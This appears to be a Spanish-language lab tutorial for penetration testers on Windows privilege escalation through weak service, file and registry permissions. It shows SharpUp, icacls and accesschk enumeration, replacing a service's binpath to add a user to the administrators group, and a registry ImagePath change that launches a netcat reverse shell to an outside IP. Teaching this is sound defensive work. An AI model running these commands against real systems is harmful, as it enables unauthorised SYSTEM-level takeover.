2
Los permisos en los sistemas Windows son complicados y difíciles de manejar correctamente. Una ligera modificación en un lugar puede introducir un fallo en otro. Como penetration testers, necesitamos entender cómo funcionan los permisos en Windows y las diversas maneras en que las configuraciones incorrectas pueden ser aprovechadas para escalar privilegios. Los fallos relacionados con permisos discutidos en esta sección son relativamente poco comunes en aplicaciones de software producidas por grandes proveedores (pero se ven de vez en cuando), pero son comunes en software de terceros de proveedores más pequeños, software de código abierto y aplicaciones personalizadas. Los servicios suelen instalarse con privilegios de SYSTEM, por lo que aprovechar un fallo relacionado con los permisos de servicio puede llevar a un control total sobre el sistema objetivo. Independientemente del entorno, siempre debemos comprobar los permisos débiles y ser capaces de hacerlo tanto con la ayuda de herramientas como manualmente en caso de que nos encontremos en una situación donde no tengamos nuestras herramientas disponibles.
Permissive File System ACLs
Running SharpUp
Podemos usar SharpUp de la suite de herramientas GhostPack para verificar binarios de servicio que sufren de ACLs débiles.
PS C:\htb> .\SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Service Binaries ===
Name : SecurityService
DisplayName : PC Security Management Service
Description : Responsible for managing PC security
State : Stopped
StartMode : Auto
PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
<SNIP>
La herramienta identifica el PC Security Management Service
, que ejecuta el binario SecurityService.exe
cuando se inicia.
Checking Permissions with icacls
Usando icacls podemos verificar la vulnerabilidad y ver que los grupos EVERYONE
y BUILTIN\Users
han recibido permisos completos para el directorio, por lo que cualquier usuario del sistema sin privilegios puede manipular el directorio y su contenido.
PS C:\htb> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Replacing Service Binary
Este servicio también puede ser iniciado por usuarios sin privilegios, por lo que podemos hacer una copia de seguridad del binario original y reemplazarlo con un binario malicioso generado con msfvenom
. Esto puede darnos un reverse shell como SYSTEM
, o agregar un usuario administrador local y darnos control administrativo total sobre la máquina.
C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService
Weak Service Permissions
Reviewing SharpUp Again
Vamos a revisar de nuevo la salida de SharpUp
en busca de servicios modificables. Vemos que el WindscribeService
está potencialmente mal configurado.
C:\htb> SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Services ===
Name : WindscribeService
DisplayName : WindscribeService
Description : Manages the firewall and controls the VPN tunnel
State : Running
StartMode : Auto
PathName : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"
Checking Permissions with AccessChk
A continuación, usaremos AccessChk de la suite Sysinternals para enumerar permisos en el servicio. Las banderas que usamos, en orden, son -q
(omitir banner), -u
(suprimir errores), -v
(detallado), -c
(especificar el nombre de un servicio de Windows) y -w
(mostrar solo objetos que tienen acceso de escritura). Aquí podemos ver que todos los Authenticated Users tienen derechos de SERVICE_ALL_ACCESS sobre el servicio, lo que significa control total de lectura/escritura sobre él.
C:\htb> accesschk.exe /accepteula -quvcw WindscribeService
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
WindscribeService
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
Check Local Admin Group
Verificando el grupo de administradores locales confirmamos que nuestro usuario htb-student
no es miembro.
C:\htb> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
mrb3n
The command completed successfully.
Changing the Service Binary Path
Podemos usar nuestros permisos para cambiar la ruta del binario de manera maliciosa. Vamos a cambiarla para agregar nuestro usuario al grupo de administradores locales. Podríamos establecer la ruta del binario para ejecutar cualquier comando o ejecutable de nuestra elección (como un binario de reverse shell).
C:\htb> sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
[SC] ChangeServiceConfig SUCCESS
Stopping Service
A continuación, debemos detener el servicio para que el nuevo comando binpath
se ejecute la próxima vez que se inicie.
C:\htb> sc stop WindscribeService
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x4
WAIT_HINT : 0x0
Starting the Service
Como tenemos control total sobre el servicio, podemos iniciarlo nuevamente, y el comando que colocamos en el binpath
se ejecutará incluso si se devuelve un mensaje de error. El servicio falla al iniciar porque el binpath
no apunta al ejecutable real del servicio. Sin embargo, el ejecutable se ejecutará cuando el sistema intente iniciar el servicio antes de producir un error y detener el servicio nuevamente, ejecutando cualquier comando que especifiquemos en el binpath
.
C:\htb> sc start WindscribeService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Confirming Local Admin Group Addition
Finalmente, verificamos que nuestro usuario fue agregado al grupo de administradores locales.
C:\htb> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
htb-student
mrb3n
The command completed successfully.
Otro ejemplo notable es el Windows Update Orchestrator Service (UsoSvc), que es responsable de descargar e instalar actualizaciones del sistema operativo. Se considera un servicio esencial de Windows y no puede ser eliminado. Como es responsable de realizar cambios en el sistema operativo a través de la instalación de actualizaciones de seguridad y características, se ejecuta como la cuenta todopoderosa NT AUTHORITY\SYSTEM
. Antes de instalar el parche de seguridad relacionado con CVE-2019-1322, era posible elevar privilegios desde una cuenta de servicio a SYSTEM
. Esto se debía a permisos débiles, que permitían a las cuentas de servicio modificar la ruta del binario del servicio y arrancar/detener el servicio.
Weak Service Permissions - Cleanup
Podemos limpiar después de nosotros y asegurarnos de que el servicio esté funcionando correctamente deteniéndolo y restableciendo la ruta del binario al ejecutable original del servicio.
Reverting the Binary Path
C:\htb> sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"
[SC] ChangeServiceConfig SUCCESS
Starting the Service Again
Si todo sale según lo planeado, podemos iniciar el servicio nuevamente sin problema.
C:\htb> sc start WindScribeService
SERVICE_NAME: WindScribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 1716
FLAGS :
Verifying Service is Running
Consultar el servicio mostrará que está funcionando nuevamente como se pretende.
C:\htb> sc query WindScribeService
SERVICE_NAME: WindScribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 Running
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Unquoted Service Path
Cuando se instala un servicio, la configuración del registro especifica una ruta al binario que debe ejecutarse al iniciar el servicio. Si este binario no está encapsulado entre comillas, Windows intentará localizar el binario en diferentes carpetas. Toma el siguiente ejemplo de ruta de binario.
Service Binary Path
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
Windows decidirá el método de ejecución de un programa basado en su extensión de archivo, por lo que no es necesario especificarlo. Windows intentará cargar los siguientes ejecutables potenciales en orden al iniciar el servicio, con un .exe implícito:
C:\Program
C:\Program Files
C:\Program Files (x86)\System
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64
Querying Service
C:\htb> sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Si podemos crear los siguientes archivos, podríamos secuestrar el binario del servicio y obtener ejecución de comandos en el contexto del servicio, en este caso, NT AUTHORITY\SYSTEM
.
C:\Program.exe\
C:\Program Files (x86)\System.exe
Sin embargo, crear archivos en la raíz del disco o en la carpeta de archivos de programa requiere privilegios administrativos. Incluso si el sistema hubiera sido configurado incorrectamente para permitir esto, el usuario probablemente no podría reiniciar el servicio y dependería de un reinicio del sistema para escalar privilegios. Aunque no es raro encontrar aplicaciones con rutas de servicio sin comillas, no suele ser explotable.
Searching for Unquoted Service Paths
Podemos identificar rutas de binarios de servicios sin comillas usando el siguiente comando.
C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
GVFS.Service GVFS.Service C:\Program Files\GVFS\GVFS.Service.exe Auto
System Explorer Service SystemExplorerHelpService C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe Auto
WindscribeService WindscribeService C:\Program Files (x86)\Windscribe\WindscribeService.exe Auto
Permissive Registry ACLs
También vale la pena buscar ACLs de servicios débiles en el registro de Windows. Podemos hacer esto usando accesschk
.
Checking for Weak Service ACLs in Registry
C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
RW HKLM\System\CurrentControlSet\services\ModelManagerService
KEY_ALL_ACCESS
<SNIP>
Changing ImagePath with PowerShell
Podemos abusar de esto usando el cmdlet de PowerShell Set-ItemProperty
para cambiar el valor de ImagePath
, usando un comando como:
PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
Modifiable Registry Autorun Binary
Check Startup Programs
Podemos usar WMIC para ver qué programas se ejecutan al iniciar el sistema. Si tenemos permisos de escritura en el registro para un binario dado o podemos sobrescribir un binario listado, podríamos escalar privilegios a otro usuario la próxima vez que ese usuario inicie sesión.
PS C:\htb> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
Name : OneDrive
command : "C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : WINLPE-WS01\mrb3n
Name : Windscribe
command : "C:\Program Files (x86)\Windscribe\Windscribe.exe" -os_restart
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : WINLPE-WS01\mrb3n
Name : SecurityHealth
command : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
Name : VMware User Process
command : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
Name : VMware VM3DService Process
command : "C:\WINDOWS\system32\vm3dservice.exe" -u
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
Este post y este sitio detallan muchas ubicaciones potenciales de autorun en sistemas Windows.